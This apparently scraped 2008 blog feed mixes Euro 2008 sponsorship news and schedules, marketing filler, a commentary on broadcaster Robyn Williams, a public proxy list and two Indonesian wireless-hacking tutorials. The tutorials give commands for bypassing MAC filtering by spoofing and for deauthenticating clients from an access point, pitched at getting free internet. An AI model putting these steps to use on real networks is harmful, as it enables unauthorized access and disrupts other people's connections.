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Ferarri

2008-06-04T12:01:00.000-07:00

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UEFA announces Canon as Official Sponsor of UEFA EURO 2008™

2008-06-04T12:00:00.000-07:00

Nyon, July 18, 2007 – Canon Europe was today announced as an Official Sponsor of the UEFA European Football Championship™ – UEFA EURO 2008™ - which will take place in Austria and Switzerland in June 2008.

This agreement continues Canon’s long-standing association with the game of football going back almost 30 years, including several seasons as official supplier of the UEFA Champions League (1995-2000 and 2004-2006), support for the UEFA European Football Championship™ (1980-1996), the UEFA EURO 2004™ tournament (as official sponsor) and consecutive World Cup tournaments (1978-1998).

Canon Europe’s current football portfolio includes sponsorship of UEFA Cup™ Final matches (from 2006/07 final up to and including the 2008/09 final), the UEFA Super Cup™ match (from 2007 up to and including the August 2008 match). Canon Europe is also Official Sponsor of the MTN Africa Cup of Nations 2008 in Ghana and the Russian Premier Football League.

Commenting on the announcement UEFA General Secretary, David Taylor, said: “Canon has a long history of partnership with football and in particular with the UEFA European Football Championships™. We are therefore delighted that they have now joined forces with UEFA for the staging of UEFA EURO 2008™ in Austria and Switzerland, and are looking forward to working together.”

Hajime Tsuruoka, President and CEO of Canon Europe added: “Football is a highly visual and empowering sport and we are delighted to extend our long term association with football by strengthening our partnership with UEFA.”

“The UEFA EURO 2008™ tournament provides us with another wonderful opportunity to reach out across national and cultural boundaries to promote Canon products via the most popular sport in the world. Canon’s support for this exciting competition underscores our commitment to football and to the many millions of fans who celebrate the game around the globe.”

In one of the highlights of its agreement with UEFA, Canon will gain significant television exposure via onscreen credits that will appear during tournament matches. To support the event organisation, Canon will showcase its latest business solution technology in a selection of media centres. For professional photographers attending the tournament, Canon will provide camera and lens maintenance service and loan depots at media centres inside the stadiums.

Canon will also participate in the Official Fan Zones which will be set up in central public spaces of the 8 cities hosting matches throughout the tournament, and the ‘UEFA Euro Experience’ roadshow events that will tour Austria and Switzerland for the duration of the tournament.

Can't find what you are looking for? Why not visit our News Archive to search our news database for a specific item.

Williams Hell Program

2008-06-04T11:50:00.000-07:00

Who the hell is Robyn Williams? Can anyone help?

This morning's Ockham's Razor broadcast was by Don Aitkin on global warming. Presenter Robyn Williams introduced him in these terms:

It is one of the disappointments of my life as a broadcaster that I've never managed to interview Nigella Lawson. How would she fit into a science program you may wonder, but that's mere detail.
I have, on the other hand, had her father Nigel Lawson on the Science Show, talking about innovation or some such, with his usual flair and penetrating intelligence. Not a science-trained man, but economics is near enough, isn't it, and he was Thatcher's Chancellor of the Exchequer (or Treasurer).

Now Lord Lawson has brought out a book on climate called An Appeal to Reason. Here's the first paragraph of a review in this week's Spectator magazine:

'When there is so much data suggesting the world's climate is heating up', goes the review, 'some may find it presumptuous of Nigel Lawson, who is not a scientist and has undertaken no original research, to hope to challenge the prevailing orthodoxy. Would we take seriously an appraisal of his time as Chancellor of the Exchequer written by someone whose only expertise was in oceanography?'

Well the same could apply to Professor Don Aitkin, former Vice-Chancellor of the University of Canberra, a political scientist and like Lawson, a journalist. Professor Aitkin gave a lecture on climate to the Planning Institute of Australia, A Cool Look at Global Warming. That was a couple of weeks ago, and I thought you might like to hear some of his thoughts, recast for Ockham's Razor. Though 9 out of 10 Australians are said to be alarmed at climate change, 10% think differently, and Professor Aitkin is one of them.

There are a number of issues of impartiality that arise from this introduction, but in this post I am interested in the main slight which is that because Aitkin is a "journalist" (I actually think he would be more correctly described as a social scientist) he cannot be taken seriously on the issue of climate change.

So, I'm interested in what qualifications Robyn Williams has. Afterall, while argument from authority has no role to play in establishing the truth of a proposition, turned back on its proponent it can often be the best demonstration of just how hollow their argument is.

Here is what I think I know about Williams. Happy to be corrected, or to have the list extended.

He has an honours degree in biology. He does not have qualifications in physics, climatology or earth-sciences
He has some honorary PhDs, but he does not have an actual PhD
He is a visiting professor at UNSW, but is not actually on staff
He is an adjunct professor at UQ, but is not actually on staff
He has in the past, and perhaps to the present, been a supporter of communist politics

If I am correct in all of this it leads to the conclusion that his only standing on this issue is as a journalist, with a particular political bent, who is no better qualified than Don Aitkin. Which in his own terms must make it quite improper to make the introduction that he did. Afterall, with those qualifications, what would he know?

Kia, Hyundai to sponsor Euro 2008

2008-06-04T11:42:00.000-07:00

Korean auto manufacturers Kia Motors Corporation and Hyundai Motor Corporation have become official sponsors of the UEFA European Football Championship to be held in 2008.

Kia, an affiliate of Hyundai, said the sponsorship will allow the company to promote its brand on perimeter boards around the stadiums and through official UEFA TV broadcast partners during Euro 2008. In addition, Kia will also provide official vehicles that will be used during the event.

Kia said it expects the sponsorship to boost its brand image and awareness across the European market. Financial terms of the sponsorship deal were not disclosed.

The partnership broadens Kia's sponsorship of football, which started with the 2002 FIFA World Cup held in Korea/Japan and now includes official partnerships with FIFA until 2014 and the Chinese national men's and women's football teams.

EURO SCHEDULE

2008-06-04T11:39:00.000-07:00

	City
	Stadium
A U S T R I A	Vienna Ernst-Happel-Stadion
	Salzburg Stadium Salzburg Wals-Siezenheim
	Innsbruck Stadion Tivoli NEU
	Klagenfurt Worthesee Stadion
S W I T Z E R L A N D	Basle St Jacob Park
	Zurich Letzigrund
	Berne Stade de Suisse Wankdorf
	Geneva Stade de Geneve

1st Match Days
Sat 7 June	Sun 8 June	Mon 9 June	Tue 10 June
	Austria vs Croatia
			Greece vs Sweden
			Spain vs Russia
	Germany vs Poland
Switzerland vs Czech Republic
		Pomania vs France
		Netherlands vs Italy
Portugal vs Turkey

2nd Match Days
Wed 11 June	Thu 12 June	Fri 13 June	Sat 14 June
	Austria vs Poland
			Greece vs Russia
			Sweden vs Spain
	Croatia vs Germany
Switzerland vs Turkey
		Italy vs Romania
		Netherlands vs France
Czech Republic vs Portugal

3rd Match Days
Sun 15 June	Mon 16 June	Tue 17 June	Wed 18 June
	Poland vs Croatia
			Greece vs Spain
			Russia vs Sweden
	Austria vs Germany
Switzerland vs Portugal
		France vs Italy
		Netherlands vs Romania
Turkey vs Czech Republic

Quarter Finals
Thu 19 June	Fri 20 June	Sat 21 June	Sun 22 June
	Quarterfinals WB vs RA		Quarterfinals WD vs RC



Quarterfinals WA vs RB		Quarterfinals WC vs RD

Semi Finals
Wed 25 June	Thu 26 June
	Semi Final W27 vs W28



Semi Final W25 vs W26

Finals

Sun
29 June

Final W29 vs W30

EURO CUP 2008 SPONSOR

2008-06-04T11:11:00.000-07:00

Euro Cash

2008-06-04T11:02:00.000-07:00

This section provides information on, and images of, euro notes and coins. It also provides information on the security features, the key euro area dates and the fixed exchange rates that were used for conversion from euro area legacy currencies to euro.

Please visit the following sections for more information.

Notes

Information on the euro notes and what they look like.

Security Features

Information on the security features of the euro notes.

Coins

Information on the euro coins and what they look like.

Exchanging former national euro area currency

This section provides advice on exchanging the former national currencies into euro. It gives information on the time limits for the exchange of former national banknotes and coins and the contact details of the relevant national central banks that carry out the exchange.

Euro Conversion Rates

Euro conversion rates for currencies participating in EMU

Download The Euro Symbol

Provides a link to sites where the euro symbol can be downloaded.

Euro Cup Schedule by Date:

2008-06-04T11:00:00.000-07:00

Euro Cup Schedule by Date:

Round Robin Tickets: (June 7-18)
Match	Date	Game	Host City	Venue
1	June 7	Switzerland vs Czech Republic	Basle	St. Jacob Park
2	June 7	Portugal vs. Turkey	Geneva	Geneva Stadium
3	June 8	Austria vs Croatia	Vienna	Ernst Happel Stadium
4	June 8	Germany vs. Poland	Klagenfurt	Worthersee Stadium
5	June 9	Romania vs. France	Zurich	Letzigrund Stadium
6	June 9	Netherlands vs. Italy	Berne	Suisse Wankdorf Stadium
7	June 10	Spain vs. Russia	Innsbruck	Tivoli NEU Stadium
8	June 10	Greece vs. Sweden	Salzburg	Wals Siezenheim Stadium
9	June 11	Czech Republic vs. Portugal	Geneva	Geneva Stadium
10	June 11	Switzerland vs. Turkey	Basle	St. Jacob Park
11	June 12	Croatia vs. Germany	Klagenfurt	Worthersee Stadium
12	June 12	Austria vs. Poland	Vienna	Ernst Happel Stadium
13	June 13	Italy vs. Romania	Zurich	Letzigrund Stadium
14	June 13	Netherlands vs. France	Berne	Suisse Wankdorf Stadium
15	June 14	Sweden vs. Spain	Innsbruck	Tivoli NEU Stadium
16	June 14	Greece vs. Russia	Salzburg	Wals Siezenheim Stadium
17	June 15	Switzerland vs. Portugal	Basle	St. Jacob Park
18	June 15	Turkey vs. Czech Republic	Geneva	Geneva Stadium
19	June 16	Austria vs. Germany	Klagenfurt	Worthersee Stadium
20	June 16	Poland vs. Croatia	Vienna	Ernst Happel Stadium
21	June 17	Netherlands vs. Romania	Berne	Suisse Wankdorf Stadium
22	June 17	France vs. Italy	Zurich	Letzigrund Stadium
23	June 18	Greece vs. Spain	Salzburg	Wals Siezenheim Stadium
24	June 18	Russia vs. Sweden	Innsbruck	Tivoli NEU Stadium
Quarterfinal Tickets (June 19-22)
25	June 19	W Pool A vs RU Pool B	Basle	St. Jacob Park
26	June 20	W Pool B vs RU Pool A	Vienna	Ernst Happel Stadium
27	June 21	W Pool C vs RU Pool D	Basle	St. Jacob Park
28	June 22	W Pool D vs RU Pool C	Vienna	Ernst Happel Stadium
Semi-Final Tickets: Game 1 (June 25-26)
29	June 25	W QF1 vs W QF 2	Basle	St. Jacob Park
30	June 26	W QF3 vs W QF 4	Vienna	Ernst Happel Stadium
Euro Cup Final Tickets (June 29)
31	June 29	Euro Cup Final	Vienna	Ernst Happel Stadium

Nokia Cell Phones

2008-05-31T00:05:00.000-07:00

Nokia N70

Mp3 Player

Video calling

Tri-band -International Cell Phone

Nokia 6680

Mega Pixel Camera

Supports Music Player

Video Calling

Tri-band - International cell Phone

Nokia 6630

Mega Pixel Camera

Video Calling

Tri-band - International cell Phone

Nokia 6280

3G

MP3 player

Tri-band technology - International Cell Phone

Video Messaging

History of Product Names & Trademarks: Camel Cigarettes

2008-05-30T23:04:00.000-07:00

About the history and origins of famous product names and trademarks, in this case Camel Cigarettes.

CAMEL CIGARETTES (Warning: The Surgeon General Has Determined That Cigarette Smoking Is Dangerous to Your Health.) Richard Joshua Reynolds, founder of the R.J. Reynolds Tobacco Company in Winston, N.C., introduced Camel cigarettes to the American public in 1913. The camel symbol was chosen because the cigarette was made from Turkish tobaccos and, supposedly, had an "exotic" flavor. When "Old Joe," a camel traveling with the Barnum and Bailey circus, came to town, Reynolds dispatched an employee to get a picture of the dromedary for an advertising campaign. Old Joe refused to play "model," tossed his head and tail about, and made threatening advances on the cameraman. The resulting "indignant" snapshot has been reproduced on billions of packages of Camel cigarettes. The slogan for Camels supposedly came from conversation between a hobo and a sign painter employed by the Reynolds Company. After bumming a cigarette from the painter, the hobo spoke the well-known words, "I'd walk a mile for a Camel."

Finalcial JOBS

2008-05-28T08:51:00.001-07:00

We will Back Tomorrow

Finalcial JOBS

2008-05-28T08:51:00.000-07:00

We will Back Tomorrow

GOOGLE SITEMAP

2008-05-28T07:07:00.000-07:00

Site Making Using Google
Businesses that want to sell something in the market need 2 things. The first is the product to be sold which has to be made then distributed to places like the grocery,

the mall or the supermarket. The second is marketing which is the vehicle to carry that message across to the consumer so that people are aware of its existence then it is purchased.

The age of the internet has given people the opportunity to make money via the web. There are a lot of websites that offer a person the chance to be seen easily and quickly and one of the best right now is using site maps created by Google.

The benefits of using Google are the following;

· It helps people find ones web page better than other search engines because of better crawl coverage.

· People will be able to search on certain keywords that the person put in place which will directly lead searchers to ones website.

· It allows the person to provide specific information to Google about the web page such as the last time it was modified or how often it is changed.

· Using Google straight will allow ones web page to be seen quickly which is a lot better than other computer companies who promise to do the same thing but can’t deliver in the end.

Now that the benefits have been mentioned, it is now time to go through the step by step process to make a Google site map.

1. The first thing that needs to be done is to do the proper research. The service or product has to fill a need that the customers want right now. It should provide a solution of some kind that will make that will improve the quality of life either at home or at work.

2. Next, one should focus on the product or service that is being offered to the customer must be sold at a decent price. Sometimes, the product one makes is already available in the market. To be competitive, one must figure out a way to convince people as to why this product is better than the other leading brands available. What features does it have that the competitor doesn’t? What makes it unique which is not only about the product on hand but the service that this can give as well?

Just like a normal business where business is done on the phone or in a store, one must acquire the right equipment and machines for the job. These could be merchandise that is either physical or electronic and an online ordering system.

To be successful, one should be sure that the goods that a customer will order can be delivered on time. If there are any problems, a customer support staff or system should be ready to cater to that.

3. If the business is done with a group of people or a single proprietorship, it is best to brainstorm for the best domain name for the business. It should be catchy and will easily be remembered by people. Given that there are probably other people who have been in the business longer and that it is possible that the domain name has already been taken, it is best to think of several names in case it can no longer be used.

4. When a domain name has been selected, one should enter the URL of the website to be created. Google site maker will then crawl the site and create a list of all the links it can find.

5. Next, one should fix the control settings. Doing this will determine how frequent the contents of the site changes which will let Google know how often it should be crawled.

6. If there are certain URL’s that a person does not wish to be included in ones site, Google can be instructed to bypass it so that it will not be crawled and posted on ones site map. One can select what types of files to be bypassed whether these are .zip or .exe files.

7. Also, one has the option of adding the sites FTP information since Google can automatically upload the site map for the person.

Hacking Wireless I: Membobol MAC Address Filtering

2008-05-28T07:01:00.000-07:00

Membobol MAC Address Filtering:

Jalankan Live CD Distro Linux BackTrack2, masukkan username “root”, lalu masukkan password “toor”.

Setelah muncul prompt, ketikkan “startx”.

Setelah muncul desktop environment KDE, klik tombol “K” (di pojok kiri bawah). Pilih BackTrack  Radio Network Analysis -> 80211  Analyser  Kismet.

Lalu muncul window “Select Network Device”, pilih “wifi0”. Klik “OK”.

Muncul tampilan Kismet, secara otomatis Kismet akan mencari wireless client yang sedang aktif. Bila ditemukan wireless client yang aktif tetapi tidak terhubung dengan jaringan, maka akan muncul pesan “ALERT: Suspicious client 00:02:6F:37:08:20 - probing networks but never participating.”

Bila Kismet berhasil menemukan Access Point yang aktif, maka akan muncul pesan “Found IP 192.168.2.1 for slamet::00:0E:2E:C2:2C:0E via ARP”.

Keterangan:

slamet -> nama SSID

Tutup Kismet, lalu buka console untuk menjalankan tools scanning yang lain, yakni airodump.

Keterangan:

Bila kita menggunakan program scanning yang lain, biasanya program pertama akan membuat driver wireless kita “rusak”. Untuk dapat digunakan pada program yang kedua, kita perlu memperbaiki driver tersebut (dimatikan lalu dihidupkan kembali).

Cara memperbaiki driver, ketik:

#airmon-ng -> untuk mengecek interface yang tersedia.

Matikan driver “ath0” dan “ath1” dengan mengetik:

#airmon-ng stop ath0

#airmon-ng stop ath1 -> bila interface ath1 ada.

Mengaktifkan driver yang baru, ketik:

#airmon-ng start wifi0

Bila diketikkan perintah #iwconfig , maka muncul informasi “ath0” sudah aktif dengan Mode=Monitor.

Berikutnya, ketik #airodump-ng ath0

Dengan demikian maka kesimpulan bahwa dengan airodump mendapatkan hasil scanning MAC Address Client yang lebih cepat dibandingkan dengan menggunakan Kismet. Tetapi Client IP Address tidak bisa didapatkan, kecuali menggunakan Kismet.

Kita juga dapat menggunakan program K-MAC(atau anda bisa merubah MAC Address melalui regedit) yang di-install pada windows untuk merubah MAC-Address Wireless kita menjadi MAC-Address salah satu client yang terdaftar pada MAC Address Filtering.

Yang perlu dilakukan adalah mencari informasi MAC-Address client dengan mengunakan Kismet atau airodump, catat MAC-Address tersebut, lalu jalankan K-MAC di windows dan ubah MAC-Addressnya.
Setelah restart komputer/laptop anda, dan mulai berinternet gratis deh........

Hacking Wireless II : Melumpuhkan Client yang terhubung pada suatu AP

2008-05-28T06:52:00.000-07:00

Melumpuhkan Client yang terhubung pada suatu AP:

1. Jalankan Live CD LinuxBackTrack 2.

2. Jalankan Kismet untuk mengetahui MAC-Address AP dan MAC-Address Client serta channel dari AP. Lalu catat semua infrmasi yang didapat.

3. Tutup Kismet, lalu buka console, ketikkan:

#airmon-ng stop ath0 -> untuk mematikan driver ath0

#airmon-ng stop ath1 -> untuk mematikan driver ath1

#airmon-ng start wifi0 -> menghidupkan/mengaktifkan driver

4. Jalankan scanning wireless menggunakan Airodump :

#airodump-ng ath0

5. Berikutnya buka konsole satu lag(dgn Airodump masih aktif jalan) lakukan setting ath0 untuk melakukan serangan (De Authentication) pada komputer client (target). Ketikkan:

#ifconfig ath0 up -> untuk mengaktifkan ath0

#iwconfig ath0 mode monitor channel 11 -> menentukan agar ath0 dalam mode monitor, sedangkan angka 11 merupakan channel yang dipakai oleh AP (didapatkan dari hasil scanning Kismet).

6. Langkah terakhir, kita lakukan serangan, ketikkan:

#aireplay-ng --deauth 20 -c 00:0E:2E:C1:1E:83 -a 00:0E:2E:C2:2C:0E ath0

Keterangan:

Aireplay-ng -> program yang digunakan untuk melakukan de authentication

--deauth -> option untuk serangan de authentication

20 -> jumlah sending packet

00:0E:2E:C1:1E:83 -> MAC-Address komputer target

-a -> option untuk Access Point

00:0E:2E:C2:2C:0E -> MAC-Address Access Point

ath0 -> interface yang digunakan untuk menyerang

SEVEN 7-Star Hotels - the World’s Most Luxurious Hotels

2008-05-28T06:49:00.000-07:00

1. Town House Galleria

First up is the seven star luxurious Town House Galleria in Milan, Italy. Located in the heart of the city, this fairly new hotel offers prestige living and a service menu that will gain you immediate entry into waiting lists that are as long as the green mile.

Offering a personal butler, Bentley and only the best in food and drink, Town House Galleria will make all wishes come true while you stay in Milan. Whether you need tickets to Da Vinci’s Last Supper, get entry to the hottest restaurant in town or need a rare import, it can all be arranged for you and seemingly fast if some reports are to go by.

2. Burj Al Arab Hotel

Dubai’s seven star Burj Al Arab Hotel has long become a synonym for grandeur, class and style. Offering limousine service, private transfer for all guests via private golf cart, private butler service and just about anything else that is being associated with luxury, the Burj Al Arab Hotel is located in the premier Jumeirah Beach area of Dubai.

3. Emirates Palace Abu Dhabi

The Emirates Palace in Abu Dhabi was named the worlds finest hotel in the middle east in 2007. Featuring some out of this world indulgence, staying in this hotel would be like stepping into thousand and one night.

Huge plush pillows, plasma TV, private butler service, laptops in each room, wireless Internet, private check in and much more will delight visitors to this splendid seven star hotel.

Yet to be finished luxury hotels

There are several more planned high prestige hotels in various stages of development. Whilst some are scheduled to be completed next month other are not likely to see the light of the day till 2010.

4. Morgan Plaza Beijing

The Morgan Plaza is a super-luxury 7 star hotel under construction in Beijing, China. Although it was set to be finished last month’s, there has been no official confirmation of it completion yet but it definitely going to be completed in time for the Beijing Olympics. When completed it is rumoured to be possibly more luxurious than the Burj Al Arab and has been considered to be the official landmark of China, still in competition with the Shanghai World Financial Center.

The plaza will contain two pavilions, a temple, the world’s best Japanese restaurant and a 600 meter long corridor.

5. The Centaurus Hotel Islamabad

The $350 million, 7-Star Centaurus Hotel in Islamabad, Pakistan will help to put this country on the map for international travellers once the project is completed around 2010.

6. Tameer Towers Abu Dhabi

Tameer Towers in Abu Dhabi is set to complete in 2011 and will incorporate a luxurious seven star hotel.

7. The Flower of the East, Iran

Resembling a Flower as its name suggest, the luxury Persian seven-star hotel, ‘The flower of the East’ is located on Kish Island in Iran and is due to be completed by 2010.

It is clear that the demand for luxurious living while on the road is very high and we are sure that this trend will continue to be strong. The Economist reported on the rise of the Gulf states on how their property boom seems to just keep going. It is therefore no surprise to see much of these seven star hotels appear in these countries.

Free Proxy

2008-05-28T06:46:00.000-07:00

Port

Type

Country

Last Test

203.162.2.135

high anonymity

Vietnam

2008-05-27

Whois

189.26.114.26

3128

transparent

Brazil

2008-05-27

Whois

125.208.15.37

8000

transparent

China

2008-05-27

Whois

200.162.6.197

3128

transparent

Brazil

2008-05-27

Whois

200.207.9.168

3128

transparent

Brazil

2008-05-27

Whois

201.38.155.2

8080

transparent

Brazil

2008-05-27

Whois

200.21.103.7

8080

anonymous

Colombia

2008-05-27

Whois

62.97.246.238

3128

transparent

Norway

2008-05-27

Whois

209.129.192.50

high anonymity

United States

2008-05-27

Whois

203.162.2.131

high anonymity

Vietnam

2008-05-27

Whois

203.162.2.141

high anonymity

Vietnam

2008-05-27

Whois

58.216.243.2

3128

transparent

China

2008-05-27

Whois

189.17.228.51

8080

transparent

Brazil

2008-05-27

Whois

202.44.32.9

anonymous

Thailand

2008-05-27

Whois

210.51.14.197

transparent

China

2008-05-27

Whois

61.91.190.245

8080

transparent

Thailand

2008-05-27

Whois

203.162.2.129

high anonymity

Vietnam

2008-05-27

Whois

203.162.2.142

high anonymity

Vietnam

2008-05-27

Whois

89.250.7.160

3128

high anonymity

Russian Federation

2008-05-27

Whois

66.220.32.242

8080

transparent

United States

2008-05-27

Whois

61.91.190.244

8080

transparent

Thailand

2008-05-27

Whois

63.149.98.90

high anonymity

United States

2008-05-27

Whois

89.137.77.135

3128

transparent

Romania

2008-05-27

Whois

82.194.32.122

transparent

Bahrain

2008-05-27

Whois

202.77.97.246

3128

transparent

Indonesia

2008-05-27

Whois

Sites Where You Can Find More Proxy Lists and Security Tips

Site 1

Site 2

Site 3

Site 4

Site 5

Site 6

Site 7

Site 8

Site 9

Port

Type

Country

Last Test

201.15.147.8

3128

transparent

Brazil

2008-05-27

Whois

63.149.98.170

high anonymity

United States

2008-05-27

Whois

190.30.228.182

8080

transparent

2008-05-27

Whois

63.149.98.251

high anonymity

United States

2008-05-27

Whois

189.22.132.18

3128

transparent

Brazil

2008-05-27

Whois

190.65.163.78

3128

transparent

Colombia

2008-05-27

Whois

218.57.243.35

transparent

China

2008-05-27

Whois

82.194.53.69

transparent

Bahrain

2008-05-27

Whois

202.106.16.36

3128

transparent

China

2008-05-27

Whois

85.194.77.5

anonymous

Saudi Arabia

2008-05-27

Whois

83.238.44.8

8080

transparent

Poland

2008-05-27

Whois

201.66.247.74

3128

transparent

Brazil

2008-05-27

Whois

200.81.202.115

8080

transparent

Argentina

2008-05-27

Whois

63.149.98.84

high anonymity

United States

2008-05-27

Whois

203.162.2.134

high anonymity

Vietnam

2008-05-27

Whois

63.149.98.78

high anonymity

United States

2008-05-27

Whois

203.162.224.139

transparent

Vietnam

2008-05-27

Whois

213.41.71.164

high anonymity

France

2008-05-27

Whois

203.144.144.163

8080

transparent

Thailand

2008-05-27

Whois

219.93.178.162

3128

transparent

Malaysia

2008-05-27

Whois

220.227.119.245

6588

high anonymity

India

2008-05-27

Whois

220.225.196.123

transparent

India

2008-05-27

Whois

206.77.151.197

high anonymity

United States

2008-05-27

Whois

12.106.236.100

8080

transparent

United States

2008-05-27

Whois

63.149.98.135

high anonymity

United States

2008-05-27

Whois

203.144.160.248

8080

transparent

Thailand

2008-05-27

Whois

218.57.243.62

3128

transparent

China

2008-05-27

Whois

203.162.2.136

high anonymity

Vietnam

2008-05-27

Whois

61.91.190.249

8080

transparent

Thailand

2008-05-27

Whois

209.55.33.101

transparent

United States

2008-05-27

Whois

80.191.83.5

3128

transparent

Iran

2008-05-27

Whois

200.129.43.193

3128

transparent

Brazil

2008-05-27

Whois

208.7.216.3

transparent

United States

2008-05-27

Whois

200.219.152.6

8080

transparent

Brazil

2008-05-27

Whois

63.149.98.50

high anonymity

United States

2008-05-27

Whois

84.255.128.222

transparent

Bahrain

2008-05-27

Whois

203.144.160.249

8080

transparent

Thailand

2008-05-27

Whois

63.149.98.23

high anonymity

United States

2008-05-27

Whois

63.149.98.16

high anonymity

United States

2008-05-27

Whois

63.149.98.82

high anonymity

United States

2008-05-27

Whois

118.98.169.67

8080

transparent

2008-05-27

Whois

200.174.85.193

3128

transparent

Brazil

2008-05-27

Whois

63.149.98.18

high anonymity

United States

2008-05-27

Whois

201.201.2.186

3128

transparent

Costa Rica

2008-05-27

Whois

189.43.139.162

3128

transparent

2008-05-27

Whois

189.31.176.142

transparent

Brazil

2008-05-27

Whois

218.62.26.200

high anonymity

China

2008-05-27

Whois

63.149.98.22

high anonymity

United States

2008-05-27

Whois

189.44.247.242

3128

transparent

2008-05-27

Whois

61.132.27.68

high anonymity

China

2008-05-27

Whois

203.144.143.12

8080

transparent

Thailand

2008-05-27

Whois

63.149.98.64

high anonymity

United States

2008-05-27

Whois

203.162.163.78

transparent

Vietnam

2008-05-27

Whois

200.249.112.136

3128

transparent

Brazil

2008-05-27

Whois

200.196.124.71

3128

transparent

Brazil

2008-05-27

Whois

208.17.215.154

transparent

United States

2008-05-27

Whois

203.162.2.140

high anonymity

Vietnam

2008-05-27

Whois

61.91.191.12

8080

transparent

Thailand

2008-05-27

Whois

203.144.160.251

8080

transparent

Thailand

2008-05-27

Whois

203.162.2.128

high anonymity

Vietnam

2008-05-27

Whois

209.129.192.52

high anonymity

United States

2008-05-27

Whois

69.16.155.29

high anonymity

United States

2008-05-27

Whois

143.107.229.251

3128

transparent

Brazil

2008-05-27

Whois

63.149.98.124

high anonymity

United States

2008-05-27

Whois

195.248.254.11

8080

transparent

Great Britain (UK)

2008-05-27

Whois

58.222.254.10

3128

transparent

China

2008-05-27

Whois

118.98.217.122

8080

transparent

2008-05-27

Whois

210.51.22.225

transparent

China

2008-05-27

Whois

205.149.128.86

8080

transparent

United States

2008-05-27

Whois

201.34.32.44

3128

transparent

Brazil

2008-05-27

Whois

63.149.98.27

high anonymity

United States

2008-05-27

Whois

63.149.98.52

high anonymity

United States

2008-05-27

Whois

210.51.33.43

transparent

China

2008-05-27

Whois

220.163.123.252

high anonymity

China

2008-05-27

Whois

189.58.241.227

3128

transparent

2008-05-27

Whois

Making a Hyper Responsive Opt Work

2008-05-20T19:11:00.000-07:00

Getting the attention of people to buy a certain product is challenging. There were times in the past when telemarketing was at times more of a nuisance rather a convenience to people. The same goes for sales people who would go house to house and show a product and were simply turned down.

Now as people have approached the digital age, there is a faster way of doing it as that is through hyper responsive opt. This is basically creating a mailing list and sending the information to people which will contribute to sales.

A person can do it in the office or at home and it can only be done if one is serious about making money online. This can work for people who want to do it full time or for those who just want some extra cash and do it part time.

Here are some benefits and features of using hyper responsive opt;

1. With a click of the mouse, the product a person wants to sell can get to the customer in lightning speed. Surveys have shown that the average person will only buy a product only after being exposed to the ad or the message after 7 times. By establishing a customer base via the internet, one no longer has to search for new ones that much but rely on the existing clientele to further spread the word and increase sales.

2. Some people will not immediately buy the product that is offered but by keeping the names in the mailing list, it is possible that when a product of interest is on hand, the person will then buy.

3. When a site has been made, it can be used to bring in additional revenue as new people who want to join the business can be charged for advertising.

4. This can also be used to propose joint ventures with other people making the business grow further.

To give further detail how it works, here is the step by the step process of hyper responsive opts;

· The first thing to do is to determine what customers need. It should be a product or a service that should provide a solution of some kind that will improve the quality of life either at home or at work.

Marketing a product especially new ones takes time and money to establish itself. Profit is not made in the first sale but occurs when the customer decides to buy again or through repeat sales.

· The next is to do the proper research. If the business is done with a group of people or a single proprietorship, it is best to brainstorm for the best possible brand or product name. It should be catchy and will easily be remembered. Given that there are probably others who have been in the business longer, it is best to think of other names just in case it can no longer be used.

· A product of good quality should be sold at a decent price. Sometimes, the product one makes is already available in the market. To be competitive, one must figure out a way to convince people as to why this product is better than the other leading brands. What features does it have that the competitor doesn’t? What makes it unique and what service can it give as well?

· Just like a normal business, one must acquire the right equipment and machines for the job. These could be merchandise that is either physical or electronic and an online ordering system.

To be successful, one should be sure that the goods that a customer will order can be delivered on time. If there are any problems, a customer support staff or system should be ready to cater to that.

One does not need a wonder product to make it work. All it takes is a list of people who one can contact without being accused of spamming. Soon, this will get the attention of the right people and sales should start coming in.

Any business big or small must maximize marketing to get the message across. Online business is just one of the new ways of making money. It is up to the person to find that need and take advantage of it.

PPC search engine advertising

2008-05-20T19:06:00.000-07:00

PPC search engine advertising is by far the most affordable form of advertising available. PPC search engine advertising is a flourishing business that by 2008 is expected to reach $ 8 billion. PPC search engine advertising is about producing leads. Creating leads will help potential buyers find the specific website that will provide them with the product or service they need.

However, PPC search engine advertising does not end there. It is important to understand that although PPC search engine advertising generates leads, it is also important for users to find relevant information at the website they are directed to. Information is a valuable asset in PPC search engine advertising that is often left unchecked by many websites. Keep in mind that users are more likely to purchase products or services from a company that provided them with the necessary information they needed in the first place.

Qualified traffic with PPC search engine advertising

One of the benefits of PPC search engine advertising is that it provides qualified traffic to a specific website. Users that click on a PPC ad are those in search of a particular product or service. This helps eliminate unnecessary clicks from non-prospective buyers that only produce expenditures not profits. PPC search engine advertising is also the fastest way to get a reasonable return on investment.

A bidding process is used to establish the price of a specific keyword. In general, the budget for PPC search engine advertising may be a $100 to $100,000 depending on the number of keywords used. These prices can skyrocket in just minutes as more and more sites bid for the same keyword thus causing the prices to jack up.

PPC ads are placed alongside search engine results to which they are relevant. The highest bids for a specific keyword or phrase gets top billing on the search engine results page. Getting top placement provides greater odds for a PPC ad to get clicked by a qualified searcher.

Elements of PPC search engine advertising

PPC search engine advertising involves three basic elements; constant monitoring, response analysis and refinement as the essential factors involved in PPC search engine advertising. Proper management of PPC search engine advertising can result in big profits for a website.

PPC search engine advertising makes it possible for sites to monitor the productivity of each PPC ad they place. This gives a site the opportunity to turn off any PPC ad that is not performing at its best. PPC search engine advertising provides the most economical way for a site to advertise on the World Wide Web.

The cost entailed in PPC search engine advertising is dictated by the clicks made on a particular PPC ad. The number of clicks made on a PPC ad is subtracted from the initial amount paid by the business to a search engine company. To minimize cost and maximize return on investment, a business will have to regularly monitor its PPC search engine advertising campaign.

How to use PPC search engine advertising

Many businesses are unable to get the most out of their PPC search engine advertising campaign. PPC search engine advertising involves a lot more than just bidding on the highest keywords. Information is a main concern of many online users.

Providing online users with relevant information they need will help bring about a more long-term relationship with an online user that will more likely result in a sale.
Information provided to online users may be in the form of a newsletter or e-zine that online users would likely sign up for. Sign-ups may be enough to cover the expenses of a PPC search engine advertising campaign.

Sign-ups also help generate leads for websites as they build opt in list from qualified online searchers who clicked their PPC ad. Getting personal information from qualified online searchers can be done in a variety of ways such as offering freebies for surveys or signing up for newsletters.

PPC search engine advertising is a continuous process that requires hands on supervision and a thorough understanding of PPC search engines. Businesses may opt to hire the services of a professional or do PPC search engine advertising with in-house experts. Whatever course of action is selected, a business is sure to get a huge return on investment with PPC search engine advertising.

Adsense Sebagai Passive Income

2008-05-15T21:40:00.000-07:00

